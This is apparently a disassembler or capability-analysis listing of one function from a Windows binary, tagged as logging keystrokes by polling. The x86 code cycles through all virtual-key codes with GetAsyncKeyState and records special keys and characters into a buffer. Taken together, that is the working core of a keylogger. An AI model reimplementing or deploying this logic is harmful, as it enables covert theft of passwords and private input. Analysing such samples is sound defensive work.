Function at 0x42a040
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x10]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
xor eax, eax
push fcn.0042a030
push ebp
push 0x414300
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, 0x599208
call fcn.00408bb0
mov dword [ebp - 8], 0
push dword [ebp - 8]
call sub.user32.dll_GetAsyncKeyState
movsx eax, ax
mov dword [ebp - 0xc], eax
cmp eax, 0xffff8001
jne 0x42a50c
mov eax, dword [ebp - 8]
cmp eax, 8
jl 0x42a49c
sub eax, 8
je 0x42a1d4
sub eax, 5
je 0x42a1e8
sub eax, 3
je 0x42a1fc
sub eax, 1
je 0x42a210
sub eax, 3
je 0x42a224
sub eax, 0xc
je 0x42a26c
sub eax, 0xe
je 0x42a280
sub eax, 0x32
je 0x42a294
sub eax, 1
je 0x42a2a8
sub eax, 1
je 0x42a2bc
sub eax, 1
je 0x42a2d0
sub eax, 1
je 0x42a2e4
sub eax, 1
je 0x42a2f8
sub eax, 1
je 0x42a30c
sub eax, 1
je 0x42a320
sub eax, 1
je 0x42a334
sub eax, 1
je 0x42a348
sub eax, 1
je 0x42a35c
sub eax, 1
je 0x42a370
sub eax, 2
je 0x42a384
sub eax, 1
je 0x42a398
sub eax, 1
je 0x42a3ac
sub eax, 0x21
je 0x42a248
sub eax, 0x2a
je 0x42a3c0
sub eax, 1
je 0x42a3d4
sub eax, 1
je 0x42a3e8
sub eax, 1
je 0x42a3fc
sub eax, 1
je 0x42a410
sub eax, 1
je 0x42a424
sub eax, 1
je 0x42a438
sub eax, 0x1b
je 0x42a44c
sub eax, 1
je 0x42a460
sub eax, 1
je 0x42a474
sub eax, 1
je 0x42a488
jmp 0x42a49c
mov eax, dword [ebp - 4]
mov edx, str._BACKSPACE_
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, str._ENTER_
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, str._SHIFT_
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, str._CTRL_
call fcn.00408bb0
jmp 0x42a50c
cmp byte [0x5f0a02], 0
je 0x42a239
mov byte [0x5f0a02], 0
jmp 0x42a50c
mov byte [0x5f0a02], 1
jmp 0x42a50c
cmp byte [0x5f0a03], 0
je 0x42a25d
mov byte [0x5f0a03], 0
jmp 0x42a50c
mov byte [0x5f0a03], 1
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, str._SPACE_
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, str._DEL_
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x598ee4
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5997bc
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5997dc
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5997fc
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x59981c
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x59983c
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x59985c
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x59987c
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x59988c
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5998ac
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x59989c
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, str._NUM_
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x599a6c
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, str._NUM._
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, str._NUM__
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x59992c
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5998ec
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5998fc
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x598ef4
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5992dc
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x599aa8
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x59979c
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5993a0
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5990bc
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x5993b0
call fcn.00408bb0
jmp 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x59994c
call fcn.00408bb0
jmp 0x42a50c
cmp dword [ebp - 8], 0x30
jl 0x42a4b8
cmp dword [ebp - 8], 0x5a
jg 0x42a4b8
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 8]
xor dx, dx
call fcn.004094a0
mov esi, esi
cmp byte [0x5f0a02], 0
jne 0x42a4e8
cmp dword [ebp - 8], 0x41
jl 0x42a4e8
cmp dword [ebp - 8], 0x5a
jg 0x42a4e8
mov eax, dword [ebp - 4]
mov eax, dword [eax]
lea edx, [ebp - 0x10]
call fcn.0044a470
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.00408bb0
lea esi, [esi]
cmp byte [0x5f0a03], 0
jne 0x42a50c
cmp dword [ebp - 8], 0x60
jl 0x42a50c
cmp dword [ebp - 8], 0x6f
jg 0x42a50c
mov eax, dword [ebp - 4]
mov edx, 0x599208
call fcn.00408bb0
mov esi, esi
add dword [ebp - 8], 1
cmp dword [ebp - 8], 0xff
jne 0x42a078
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.0042a030
mov esp, ebp
pop ebp
ret